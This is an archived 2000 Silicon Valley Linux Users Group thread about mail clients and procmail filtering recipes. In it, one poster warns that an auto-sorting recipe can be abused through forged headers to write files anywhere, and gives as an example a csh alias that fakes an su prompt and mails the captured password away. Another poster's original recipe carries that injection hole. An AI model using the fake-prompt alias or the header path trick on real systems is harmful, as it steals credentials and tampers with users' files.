This is part of The Pile, a partial archive of some open source mailing lists and newsgroups.
To: svlug@svlug.org
Subject: MUA woes (was Re: [svlug] MUA-hahaha. )
Date: Tue, 03 Oct 2000 17:46:24 -0700
From: "Randy J. Ray" <rjray@tzimisce.soma.redhat.com>
This thread has reminded me that I've been meaning to ask...
I currently use EXMH and fetchmail, in order to read mail locally on my
workstation and at home. That means that when at work, my home (ISP) mail
is not readily available, and vice-versa. But the reason I do this is that
I get a *lot* of mail, due to a number of technical mailing lists,
work-related automatic mail, etc. However, since both my work e-mail and
ISP e-mail are IMAP-accessible (from here, at least; can't get to work
e-mail outside the firewall) I'd like to use a mailer that can handle mail
remotely.
But the thing is, my current set-up lets me filter with a great deal of
flexibility. I have no desire to try and wade through everything in only
one (or two) inboxen. I've toyed around with mail clients ranging from
Netscape to Balsa to Evolution, and while they all seem to handle IMAP, I
just must be missing the bus on filtering. I currently use procmail to file
mail based on the headers. And it ends up filed into any of about 30
different folders. Is this possible with any of the previously-mentioned
tools? I don't mind if the mail isn't physically relocated to actual
folders, I'd be happy if it just looks like it, to make reading it that
much easier.
===
Date: Tue, 3 Oct 2000 18:30:42 -0700
Subject: Re: MUA woes (was Re: [svlug] MUA-hahaha. )
From: Rick Moen <rick@linuxmafia.com>
begin Randy J. Ray quotation:
> But the thing is, my current set-up lets me filter with a great deal of
> flexibility.
My preferred solution is to go to to the mail, rather than bring it to
me. Can you SSH to your home box? That's what I do. Since you already
have filtering/filing set up to your satisfaction, there, it would seem
the perfect place to read your mail, regardless of where you are,
physically.
If it's not possible, you might want to colocate your mail machine so as
to make it possible in the future.
===
Date: Tue, 3 Oct 2000 18:44:52 -0700
From: hvrietsc@yahoo.com
Subject: Re: MUA woes (was Re: [svlug] MUA-hahaha. )
why not run procmail and all the filter stuff on your main computer
and have it stick the stuff into imapfolders, then you can use any
of the imap emailers to read the stuff on all your other computers.
so procmail for filtering and something else for reading: isn't that
what *nix is all about?
===
From: "Daevid Vincent" <DayWalker@TheMatrix.com>
To: "Silicon Valley Users Group" <svlug@svlug.org>
Subject: RE: [svlug] Dumb procmail question - recipies AND/OR
Date: Wed, 4 Oct 2000 17:02:16 -0700
> > kmself@ix.netcom.com wrote:
> > Sent: Wednesday, October 04, 2000 1:44 PM
> > To: Silicon Valley Users Group
> > Subject: [svlug] Dumb procmail question - recipies AND/OR
> >
> > I'm mucking with procmail filters and getting frustrated that mail,
> > particularly list mail, and SVLUG in particular, doesn't seem to get
> > filtered correctly. About 10-25% of svlug posts wind up in my
> > spamfilter mailbox (then again, maybe procmail's smarter than I
> thought).
> >
> > I think the problem may be the recipie I have for SVLUG:
> >
> > :0:
> > * ^TOsvlug@svlug.org
> > * ^TOsvlug@lists.svlug.org
> > * ^X-BeenThere:.*svlug@svlug.org
> > * ^X-BeenThere:.*svlug@lists.svlug.org
> > * (^TO|^X-BeenThere:.*).*svlug@svlug.org
> > * (^TO|^X-BeenThere:.*).*svlug-admin@svlug.org
> > * (^TO|^X-BeenThere:.*).*svlug@lists.svlug.org
> > * (^TO|^X-BeenThere:.*).*svlug-admin@lists.svlug.org
> > svlug
> >
> > ...my assumption being that if *any* of the conditions match, the
> > message is filed to svlug (logical OR). The procmailrc man page
> > suggests that the condition is in fact a logical AND. Which then raises
> > the question of why *any* of my svlug mail is filtering correctly.
> >
> > Questions:
> >
> > - Is the above filter broken, and if so,
> >
> > - Is there a shorthand way of specifying a number of sufficient
> > conditions, any one of which should trigger an action (SVLUG seems
> > particularly prone to misfiling, though other lists fall out as
> > well).
> >
> > I'm going to try the following revised recipie, which should match all
> > the above conditions (and then some):
> >
> > :0:
> > * (^TO|^X-BeenThere:.*)svlug.*@.*svlug.org
> > svlug
> >
> > Any (un)obvious errors?
> >
> > TIA.
> Daevid Vincent wrote:
>
> either I'm missing what you're trying to achieve, or you've overly
> complicated the issue.
>
> :0:
> * ^TOsvlug
> Linux
>
> :0:
> * ^TObalug
> Linux
>
> :0:
> * ^TOlinux-list@ssc.com
> Linux
>
> files all thes lists into a ~/mail/Linux box...
While we're on the topic, how can I make a recipie such that I want any
messages from the "mySQL" list to go into the mysql folder EXCEPT if they
contain the word "ANNOUNCE:" in the subject line and there's no "RE:" --
basically I want to read all the announcements from my inbox (so I don't
accidentally miss them or delete them), and file the rest of the discussions
into the folder where I may or may not get to read them later...
===
Date: Wed, 4 Oct 2000 18:27:14 -0700
From: Aaron Lehmann <aaronl@vitelus.com>
To: kmself@ix.netcom.com
Cc: Silicon Valley Users Group <svlug@svlug.org>
Subject: Re: [svlug] Dumb procmail question - recipies AND/OR
On Wed, Oct 04, 2000 at 01:43:53PM -0700, kmself@ix.netcom.com wrote:
> I'm mucking with procmail filters and getting frustrated that mail,
> particularly list mail, and SVLUG in particular, doesn't seem to get
> filtered correctly. About 10-25% of svlug posts wind up in my
> spamfilter mailbox (then again, maybe procmail's smarter than I thought).
>=20
> I think the problem may be the recipie I have for SVLUG:
>=20
I'm always shocked to find out that most people use special rules for
every mailing list. These two (!) rules autosort all of the dozens of
mailing lists I am on without any problems:
________________________
# Mailing list rules
# Tier 1
:0 D:
*^(X-Mailing-[Ll]ist: <|X-BeenThere: |Delivered-To: mailing list |Sender: o=
wner-)\/[^@>]+
mail/`echo $MATCH | tr A-Z a-z` # i like lowercase
# Tier 2
:0 D:
*^(X-Loop: |Return-path: <owner-)\/[^@>]+
mail/`echo $MATCH | tr A-Z a-z` # i like lowercase
________________________
I put these two lines near the top of my .procmailrc and every thing
gets autosorted. The code works by trying to match various semi-standard
headers such as X-BeenThere and X-MailingList that indicate which
mailing list the post is being resent via. If neither of these are
found, it will try to guess the mailing list from the Sender and
Return-Path. I don't think I've ever gotten false positives (or
negatives) with this code in its current incarnation. You can speed it
up a bit by changing the `echo $MATCH | tr A-Z a-z` to just a plain
$MATCH. I started using tr to filter mailing list names when I
subscribed to a list which annoyingly had its name in all-caps, which
disrupted the alphabetical sorting of my mailbox names.
One of the things that bothers me about the setup is that if people
reply to your messages but send their replies only to the list, you
will not see the reply until you get around to checking the mailbox
for that particular list. I just got the idea of matching against the
In-Reply-To header and putting the message in both the list's folder
and your mail spool if that header matches your email address but the
message is not To or CC'd to you. I will try this and post an update
to the list if anyone is interested.
Thanks for Nick Moffitt for the idea and initial procmail rules.
===
Date: Wed, 4 Oct 2000 19:05:03 -0700
From: Aaron Lehmann <aaronl@vitelus.com>
To: "Karl F. Larsen" <k5di@zianet.com>
Cc: SVLUG <svlug@svlug.org>
Subject: Re: [svlug] Dumb procmail question - recipies AND/OR
On Wed, Oct 04, 2000 at 05:22:47PM -0600, Karl F. Larsen wrote:
> Here is my .procmailrc which is working pretty well:
I can see why it would work fine, but you are ending every line with a
*. Not only is this unnecessary (procmail will match any part of a
line by default, not the whole line), but *'s meaning in a regexp is
"the preceding character 0 or more times". I believe you are trying to
use .*, which means "0 or more characters", but since you shouldn't
need anything to match to the end of the line I would reccomend just
getting rid of the trailing *'s.
===
Date: Wed, 4 Oct 2000 20:36:40 -0700
From: Aaron Lehmann <aaronl@vitelus.com>
To: kmself@ix.netcom.com
Cc: Silicon Valley Users Group <svlug@svlug.org>
Subject: Re: [svlug] Dumb procmail question - recipies AND/OR
On Wed, Oct 04, 2000 at 01:43:53PM -0700, kmself@ix.netcom.com wrote:
> - Is there a shorthand way of specifying a number of sufficient
> conditions, any one of which should trigger an action (SVLUG seems
> particularly prone to misfiling, though other lists fall out as
> well).
http://www.ling.helsinki.fi/users/reriksso/procmail/mini-faq.html#oring
Q: How can I do a logical OR of two or more conditions?=20
(For those who skipped the manuals, the default is to AND all the
conditions on a recipe. The first one to fail makes Procmail skip
right to the next recipe.)=20
A: The usual reason people are asking this is because the following,
which is basically the way to do it, feels clumsy or something.=20
:0
* condition1|condition2|condition3|condition4
{ ... do something about it ... }
There are situations where you can't do this, such as when one of the
conditions is a negated condition. You can try to fool around with de
Morgan's laws to get you
somewhere where this doesn't play in, or use scoring:=20
:0
* 1^0 condition1|condition2
* 1^0 ! not condition 3
* 1^0 ? /path/to/external-program whose exit code we want to
* look at
{ ... now do something about that instead ... }
Some side effects are different when you resort to scoring; for
instance, if you are also using the \/ operator to grab stuff into
$MATCH, scoring will generally grab the last
matching line, whereas a straightforward regex OR will stop already at
the first one. (You can change the 1 in 1^0 to some really big number
to prevent this. See the
procmailsc(5) manual page if you wonder about the significance of
these strange numbers.)=20
===
Date: Wed, 4 Oct 2000 21:00:27 -0700
From: Aaron Lehmann <aaronl@vitelus.com>
To: kmself@ix.netcom.com
Cc: Silicon Valley Users Group <svlug@svlug.org>
Subject: Re: [svlug] Dumb procmail question - recipies AND/OR
On Wed, Oct 04, 2000 at 08:36:40PM -0700, Aaron Lehmann wrote:
> On Wed, Oct 04, 2000 at 01:43:53PM -0700, kmself@ix.netcom.com wrote:
> > - Is there a shorthand way of specifying a number of sufficient
> > conditions, any one of which should trigger an action (SVLUG seems
> > particularly prone to misfiling, though other lists fall out as
> > well).
> http://www.ling.helsinki.fi/users/reriksso/procmail/mini-faq.html#oring
> Q: How can I do a logical OR of two or more conditions?=20
So, using the suggestion at the above URL I was able to compress my
mailinglist autosorter into one rule. Getting tired of this yet? I'm
not :).
EMAIL=3D"aaronl@vitelus.com"
# Mailing list autosorter
:0 D:
* -1^0 .
* 20^0 ^(X-Mailing-[Ll]ist: <|X-BeenThere: |Delivered-To: mailing list |Sen=
der: owner-)\/[^@>]+
* 10^0 ^(X-Loop: |Return-path: <owner-)\/[^@>]+
{
:0 c:
*!$^(b?cc|to):.*$\EMAIL
*$In-Reply-To:.*$\EMAIL
$DEFAULT
:0 D:
*.
mail/`echo $MATCH | tr A-Z a-z` # i like lowercase
}
===
Date: Wed, 4 Oct 2000 22:22:11 -0700 (PDT)
From: Dave Zarzycki <dave@thor.sbay.org>
Subject: [svlug] Re: Dumb procmail question - recipies AND/OR
On Wed, 4 Oct 2000 kmself@ix.netcom.com wrote:
> I'm mucking with procmail filters and getting frustrated that mail,
> particularly list mail, and SVLUG in particular, doesn't seem to get
> filtered correctly. About 10-25% of svlug posts wind up in my
> spamfilter mailbox (then again, maybe procmail's smarter than I thought).
I would recommend that anti spam filters go last.
> ...my assumption being that if *any* of the conditions match, the
> message is filed to svlug (logical OR). The procmailrc man page
> suggests that the condition is in fact a logical AND. Which then raises
> the question of why *any* of my svlug mail is filtering correctly.
Good question. You could investigate it by manually pipe'ing message
through procmail in debug mode, but I suspect you just want to have your
mail filters work.
> - Is there a shorthand way of specifying a number of sufficient
> conditions, any one of which should trigger an action (SVLUG seems
> particularly prone to misfiling, though other lists fall out as
> well).
So you want to OR things while procmail ANDs your tests? You need to apply
De Morgan's rule. Take a look at this modification to your test and see if
it makes sense to you:
:0
* !^TOsvlug@svlug.org
* !^TOsvlug@lists.svlug.org
* !^X-BeenThere:.*svlug@svlug.org
* !^X-BeenThere:.*svlug@lists.svlug.org
* !(^TO|^X-BeenThere:.*).*svlug@svlug.org
* !(^TO|^X-BeenThere:.*).*svlug-admin@svlug.org
* !(^TO|^X-BeenThere:.*).*svlug@lists.svlug.org
* !(^TO|^X-BeenThere:.*).*svlug-admin@lists.svlug.org
{ }
:0 E:
svlug
> I'm going to try the following revised recipie, which should match all
> the above conditions (and then some):
>
> :0:
> * (^TO|^X-BeenThere:.*)svlug.*@.*svlug.org
> svlug
>
> Any (un)obvious errors?
One question. If somebody sends a message to you and CCs the list (or vice
versa), what do you want to happen? Do you want the copy of the message
sent via the list to land in your svlug folder and the copy of the message
sent directly to you to land in your INBOX? Or do you want them both to
land in your svlug folder? The above filter looks like it's trying to
accomplish the latter. For what it's worth, this is my svlug filter (it
accomplishes the former behavior, and does some other nice tricks too):
:0
* ^X-BeenThere:.*svlug@lists.svlug.org
{
# Deal with accidental mail loops...
:0 Wh: .svlug-msgid.lock
| formail -D 8192 .svlug-msgid.cache
# Clean up the Subject header
:0 fhw
| sed 's/^Subject:\(.*\)\[svlug\] \(.*\)/Subject:\1\2/g;s/Re: Re:/Re:/g'
:0:
svlug/svlug
}
Whenever I want to know how to do something in procmail, I go here:
http://www.procmail.org/jari/pm-tips.html
===
To: Aaron Lehmann <aaronl@vitelus.com>
cc: kmself@ix.netcom.com, Silicon Valley Users Group <svlug@svlug.org>
Subject: Re: [svlug] Dumb procmail question - recipies AND/OR
Date: Wed, 04 Oct 2000 22:58:16 -0700
On Wed, 4 Oct 2000 18:27:14 -0700
Aaron Lehmann <aaronl@vitelus.com> wrote:
> I'm always shocked to find out that most people use special rules
> for every mailing list. These two (!) rules autosort all of the
> dozens of mailing lists I am on without any problems:
I don't do this for a few reasons:
-- I'm subscribed to 20 security related lists, 38 product related
lists, 23 MUD related lists, 14 Linux related lists, and 20 "Odd"
lists (or at least that's the number of folders for lists I have in
each category). I have them broken out and collected into those
subgroups so I may handle them reasonably. I didn't see an elegant
way of doing that given generic regexes of the type you describe.
-- In several cases I have and want multiple lists globbing to the
same folder (eg mailman-users and mailman developers both go to the
same folder, as do PHP and PHP-Dev, Python and Python-C++ and everl
other Python lists, etc.
-- I want to specifically control the names of the folders things
sort into. I'm of the belief that machines and system are to be
adapted to humans, not the reverse, so I use the folder names that
communicate, both in words, visual impact, and semantic content
best. Regularly those names are not direct mappings from the actual
list names.
===
From: John Wenger <johnwenger@EarthLink.Net>
Subject: Re: MUA woes (was Re: [svlug] MUA-hahaha. )
Chris Waters wrote:
> Netscape, at least, does have some basic filtering capabilities which
> work with IMAP. I use Netscape for work email (where the PHBs are
> all-too-fond of HTML), and Netscape's filtering is barely adequate for
> my needs there. It can only filter on certain predefined headers,
> unfortunately, which makes it inadequate for most mailing lists. But
> it does work, after a fashion.
Huh? Take another look. It can either AND or OR any number of
things, including things like Body contains or does not contain
some text.
===
Date: Thu, 05 Oct 2000 19:13:45 +0900
From: Antony Stace <antony@claire.co.jp>
Subject: Re: MUA woes (was Re: [svlug] MUA-hahaha. )
netscape can filter on any header you want, have a peek at customize in
the filter menu.
===
From: David Madison <svlug.org@daveola.com>
Subject: Re: [svlug] Dumb procmail question - recipies AND/OR
To: svlug@lists.svlug.org
Date: Thu Oct 5 17:47:46 2000
Aaron shows us some of his .procmailrc:
> :0 D:
> *^(X-Mailing-[Ll]ist: <|X-BeenThere: |Delivered-To: mailing list |Sender: owner-)\/[^@>]+
> mail/`echo $MATCH | tr A-Z a-z` # i like lowercase
This is dangerous. This gives people control over your filtering.
I can send you email (either through a forgery or with an extra header)
with 'Sender: owner-../../../../etc/password' for example, if you
were reading mail as root. I can essentially append my email anywhere
you have write permission. If I could figure out a way to avoid the
errors you would see from the mail headers (perhaps with an early
'if (0) then'), I could conceivably add aliases to your .cshrc, such as:
alias su 'echo "Password: \c" ; stty -echo ; echo $< | mail -sPassword:`whoami`:`hostname`.`domainname` silly_hack@ ; stty echo ; echo "" ; unalias su ; sleep 1 ; echo "su: incorrect password"'
If you must use procmail, I recommend:
mail/list_`perl -e '$ENV{MATCH} =~ s/[^a-z]//ig; print lc($ENV{MATCH});'`
This will strip out non chars and put it in mail/list_<name> so you
don't have to worry about your other folders being tampered with.
I used to use procmail quite a bit, but then I realized that I was working
so hard and learning this new language to accomplish something that, in
itself, wasn't that difficult. I recommend (for programmers), that you
try writing your own mail filter - I think it's easier than installing
and writing rules for procmail. The only trouble is supporting all the
locking schemes that procmail does, but you don't need this if you can
just support what your system needs. As an example:
http://MarginalHacks.com/#mf
===
Date: Thu, 5 Oct 2000 16:56:23 -0700
From: Aaron Lehmann <aaronl@vitelus.com>
To: David Madison <svlug.org@daveola.com>
Cc: svlug@lists.svlug.org
Subject: Re: [svlug] Dumb procmail question - recipies AND/OR
On Thu, Oct 05, 2000 at 06:25:00PM +0000, David Madison wrote:
> Aaron shows us some of his .procmailrc:
> > :0 D:
> > *^(X-Mailing-[Ll]ist: <|X-BeenThere: |Delivered-To: mailing list |Sende=
r: owner-)\/[^@>]+
> > mail/`echo $MATCH | tr A-Z a-z` # i like lowercase
> This is dangerous. This gives people control over your filtering.
> I can send you email (either through a forgery or with an extra header)
> with 'Sender: owner-../../../../etc/password' for example, if you
> were reading mail as root. I can essentially append my email anywhere
> you have write permission. If I could figure out a way to avoid the
> errors you would see from the mail headers (perhaps with an early
> 'if (0) then'), I could conceivably add aliases to your .cshrc, such as:
> If you must use procmail, I recommend:
> mail/list_`perl -e '$ENV{MATCH} =3D~ s/[^a-z]//ig; print lc($ENV{MATCH});=
'`
I just set up:
# sed is stupid
mail/`echo $MATCH | sed -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqr=
stuvwxyz/; s/[^a-z0-9\-]//g'`
I wish sed was at least as intelligent as tr, but perl is not an
acceptable tool to run on incoming mail messages. It takes .46 seconds
to simply start up on my mailserver! Send me a spiffy new Transmeta
chip and I just might run perl on every incoming mail message ;-).
Preventing non-alphanumeric chararacters should potentially prevent
this security hole. It could be annoying if people sent me email with
headers saying X-Mailing-List: YOUSUCK, but if people really wanted
mess with me they would get blocked from sending messages anyway.
I think having mailing lists "just work" is worth dealing with
possible annoyances (and none have occurred so far).
> I used to use procmail quite a bit, but then I realized that I was working
> so hard and learning this new language to accomplish something that, in
> itself, wasn't that difficult. I recommend (for programmers), that you
> try writing your own mail filter - I think it's easier than installing
> and writing rules for procmail. The only trouble is supporting all the
> locking schemes that procmail does, but you don't need this if you can
> just support what your system needs. As an example:
> http://MarginalHacks.com/#mf
I was thinking about writing a mail filter. In awk. So I could call it
prawkmail. Unfortunately, awk would suck for this. And I do not want
to invoke perl every time a message comes in. So that about limits to C,
which would really suck for this kind of thing. I feel the same way
about mailing list managers - I want something powerful that doesn't
invoke perl every time a message comes in. We need a kind of mod_perl
for mail processing - there would be a persistant perl interpreter
daemon that would preparse its configuration files and recieve new
email messages immediately via a pipe. That would be really cool.
It's a pity that MF is not free software and therefore not usable by
me for the development of any free mail filtering system.
> --=20
> Dave Madison
> GetDave.com
Domain hog! ;-)
Oh yeah, and get DaveMail to add an In-Reply-To header - my
=2Eprocmailrc uses them as you may have noticed.
===
To: Aaron Lehmann <aaronl@vitelus.com>
Subject: Re: [svlug] Dumb procmail question - recipies AND/OR
Date: Thu, 05 Oct 2000 18:13:50 -0700
On Thu, 5 Oct 2000 16:56:23 -0700
Aaron Lehmann <aaronl@vitelus.com> wrote:
> I was thinking about writing a mail filter. In awk. So I could
> call it prawkmail. Unfortunately, awk would suck for this. And I
> do not want to invoke perl every time a message comes in. So that
> about limits to C, which would really suck for this kind of
> thing. I feel the same way about mailing list managers - I want
> something powerful that doesn't invoke perl every time a message
> comes in. We need a kind of mod_perl for mail processing - there
> would be a persistant perl interpreter daemon that would preparse
> its configuration files and recieve new email messages immediately
> via a pipe. That would be really cool.
Exim provides much of this via PCRE (Phillip Hazel is the originator
of PCRE after all) and the inbuilt filter functions.
===